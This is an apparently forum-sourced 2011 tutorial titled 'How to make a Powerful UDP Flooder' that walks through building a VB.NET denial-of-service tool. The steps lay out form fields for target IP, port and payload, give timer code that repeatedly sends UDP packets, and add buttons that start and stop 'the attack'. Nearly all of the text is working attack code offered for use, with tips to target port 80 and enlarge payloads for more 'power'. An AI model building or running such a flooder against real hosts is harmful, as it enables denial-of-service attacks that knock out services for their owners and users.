Friday, 11 November 2011

[TUT] How to make a Powerful UDP Flooder [VB.NET]


1) Start By Creating a Windows Form Application
[Image: Screen%20shot%202011-10-10%20at%205.06.22%20PM.png]

2) Now Add a Textbox1 --> Which is The IP Input
Textbox2 --> Which is The Port Input
Textbox3 --> Which is The Data To Send
ListBox1 --> Which Displays The Server Response
Button1 --> a Button Which Starts The Attack
Button2 --> a Button That Stops The Attack
Timer1 --> To Repeat The Flood

3)Organize Them and Your Form Should Look Like This
[Image: Screen%20shot%202011-10-10%20at%205.25.44%20PM.png]

ITS TIME FOR CODING NOW Yeye

4) Above Public Class Form1 Paste This

Code:
imports System.Net
Imports System.Text
Imports System.Net.Sockets
Imports System.Diagnostics

5)Click on The Timer1 and Paste This Code :
Code:
Try

            ListBox1.Items.Add("Attacking " + TextBox1.Text + " With Data ")
            ListBox1.Items.Add(My.Computer.Info.AvailableVirtualMemory)
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, TextBox2.Text)
            bytCommand = Encoding.ASCII.GetBytes(TextBox3.text)
            udpClient.Send(bytCommand, bytCommand.Length)
            ListBox1.SelectedIndex += 1
        Catch ex As Exception
            Me.Close()
        End Try

6)Click on Button1 (Known as Start Flooding) and Paste This Code :
Code:
timer1.start

7)Click on Button2 (Known as Stop Flooding) and Paste This Code :
Code:
timer1.stop

YOU HAVE TO ENTER AN IP AND A PORT (USUALLY 80) OR THE PROGRAM WILL END ITSELF!!

THE MORE DATA YOU PUT IN THE MORE POWERFUL THE UDP FLOODER IS!!

8)Our UDP Flooder in Action :
[Image: Screen%20shot%202011-10-10%20at%205.41.09%20PM.png]

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